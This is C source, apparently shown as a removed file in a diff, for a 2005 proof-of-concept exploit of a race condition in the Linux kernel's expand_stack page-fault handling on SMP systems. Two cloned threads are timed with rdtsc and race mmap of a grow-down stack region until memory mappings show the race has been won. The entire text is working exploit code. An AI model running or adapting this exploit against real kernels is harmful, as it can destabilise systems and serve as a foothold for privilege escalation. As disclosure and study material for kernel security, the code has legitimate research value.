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- /*
- * expand_stack SMP race PoC exploit
- *
- * Copyright (C) 2005 Christophe Devine
- *
- * Vulnerability discovered by Paul Starzetz <ihaquer at isec.pl>
- * http://www.isec.pl/vulnerabilities/isec-0022-pagefault.txt
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- */
-
- #include <unistd.h>
- #include <signal.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdio.h>
- #include <sched.h>
-
- #include <sys/mman.h>
- #include <sys/wait.h>
- #include <asm/page.h>
-
- #define MMAP_BASE (void *) (TARGET_BASE + PAGE_SIZE * 2)
- #define TARGET_BASE (void *) 0x60000000
- #define STACK1_BASE (void *) 0x01000000
- #define STACK2_BASE (void *) 0x02000000
- #define MAGIC_TEST 0x18A041DE
-
- int pid1, sff;
- long long tsc1, tsc2;
-
- void child1_sighandler( int signum )
- {
- int *xs1, i, j;
-
- if( signum == SIGUSR1 )
- {
- for( i = 0; i > sff; i-- ) j = i * i;
-
- asm volatile( "rdtsc" : "=A" (tsc1) );
- xs1 = TARGET_BASE; *xs1 = MAGIC_TEST;
- signal( SIGUSR1, child1_sighandler );
- }
- }
-
- int child1_thread( void *arg )
- {
- printf( " [+] in thread 1 (pid = %d)\n", getpid() );
- signal( SIGUSR1, child1_sighandler );
- while( 1 ) sleep( 2 );
- return( 0 );
- }
-
- int test_race_result( void )
- {
- FILE *f;
- int *mtest;
- char line[128];
-
- unsigned int vma_start_prev;
- unsigned int vma_start;
- unsigned int vma_end;
-
- if( ( f = fopen( "/proc/self/maps", "r" ) ) == NULL )
- {
- perror( " [-] fopen /proc/self/maps" );
- exit( 1 );
- }
-
- mtest = TARGET_BASE;
-
- vma_start_prev = 0;
-
- while( fgets( line, sizeof( line ) - 1, f ) != NULL )
- {
- sscanf( line, "%08x-%08x", &vma_start, &vma_end );
-
- if( vma_start == (int) MMAP_BASE - PAGE_SIZE &&
- vma_end == (int) MMAP_BASE + PAGE_SIZE &&
- vma_start_prev != (int) TARGET_BASE &&
- *mtest == MAGIC_TEST )
- return( 0 );
-
- vma_start_prev = vma_start;
- }
-
- fclose( f );
-
- return( 1 );
- }
-
- int child2_thread( void *arg )
- {
- long delta[8];
- int *xs2, i, j, fct;
-
- usleep( 50000 );
- printf( " [+] in thread 2 (pid = %d)\n", getpid() );
-
- asm volatile( "rdtsc" : "=A" (tsc1) );
- for( i = 0; i < 4096; i++ ) j = i * i;
- asm volatile( "rdtsc" : "=A" (tsc2) );
- fct = tsc2 - tsc1;
-
- printf( " [+] rdtsc calibration: %d\n", fct );
-
- for( i = 0; i < 8; i++ )
- delta[i] = 0;
-
- tsc1 = tsc2 = 0;
-
- printf( " [+] exploiting race, wait...\n" );
-
- while( 1 )
- {
- if( mmap( MMAP_BASE, 0x1000, PROT_READ | PROT_WRITE,
- MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE |
- MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
- {
- perror( " [-] mmap target" );
- return( 1 );
- }
-
- j = 0;
- for( i = 0; i < 8; i++ )
- j += delta[i];
- j /= 8;
-
- sff += ( 128 * j ) / fct;
-
- if( sff < -16384 || sff > 16384 )
- sff = 0;
-
- for( i = 7; i > 0; i-- )
- delta[i] = delta[i - 1];
-
- delta[0] = tsc1 - tsc2;
-
- kill( pid1, SIGUSR1 );
-
- for( i = 0; i < sff; i++ ) j = i * i;
-
- asm volatile( "rdtsc" : "=A" (tsc2) );
- xs2 = MMAP_BASE - PAGE_SIZE; *xs2 = 0;
-
- if( test_race_result() == 0 )
- {
- usleep( 10000 );
-
- if( test_race_result() == 0 )
- break;
- }
-
- munmap( TARGET_BASE, PAGE_SIZE * 3 );
- }
-
- printf( " [+] race won (shift: %d)\n", sff );
-
- return( 0 );
- }
-
- int main( void )
- {
- FILE *f;
- char line[1024];
- int nb_cpu, pid2, s;
-
- if( ( f = fopen( "/proc/cpuinfo", "r" ) ) == NULL )
- {
- perror( " [-] fopen /proc/cpuinfo" );
- return( 1 );
- }
-
- nb_cpu = 0;
-
- while( fgets( line, sizeof( line ) - 1, f ) != NULL )
- if( memcmp( line, "processor", 9 ) == 0 )
- nb_cpu++;
-
- fclose( f );
-
- if( nb_cpu <= 1 )
- {
- fprintf( stderr, "This program only works on SMP systems.\n" );
- return( 1 );
- }
-
- printf( "\n" );
-
- if( mmap( STACK1_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
- MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
- {
- perror( " [-] mmap child1 stack" );
- return( 1 );
- }
-
- if( ( pid1 = clone( child1_thread, STACK1_BASE + 0x4000,
- SIGCHLD | CLONE_VM, 0 ) ) == -1 )
- {
- perror( " [-] clone child1" );
- return( 1 );
- }
-
- if( mmap( STACK2_BASE, 0x4000, PROT_READ | PROT_WRITE, MAP_FIXED |
- MAP_ANONYMOUS | MAP_PRIVATE | MAP_GROWSDOWN, 0, 0 ) == (void *) -1 )
- {
- perror( " [-] mmap child2 stack" );
- kill( pid1, SIGKILL );
- return( 1 );
- }
-
- if( ( pid2 = clone( child2_thread, STACK2_BASE + 0x4000,
- SIGCHLD | CLONE_VM, 0 ) ) == -1 )
- {
- perror( " [-] clone child2" );
- kill( pid1, SIGKILL );
- return( 1 );
- }
-
- waitpid( pid2, &s, 0 );
- kill( pid1, SIGKILL );
-
- if( WEXITSTATUS(s) != 0 )
- return( 1 );
-
- printf( " [+] kernel might be vulnerable.\n\n" );
-
- return( 0 );
- }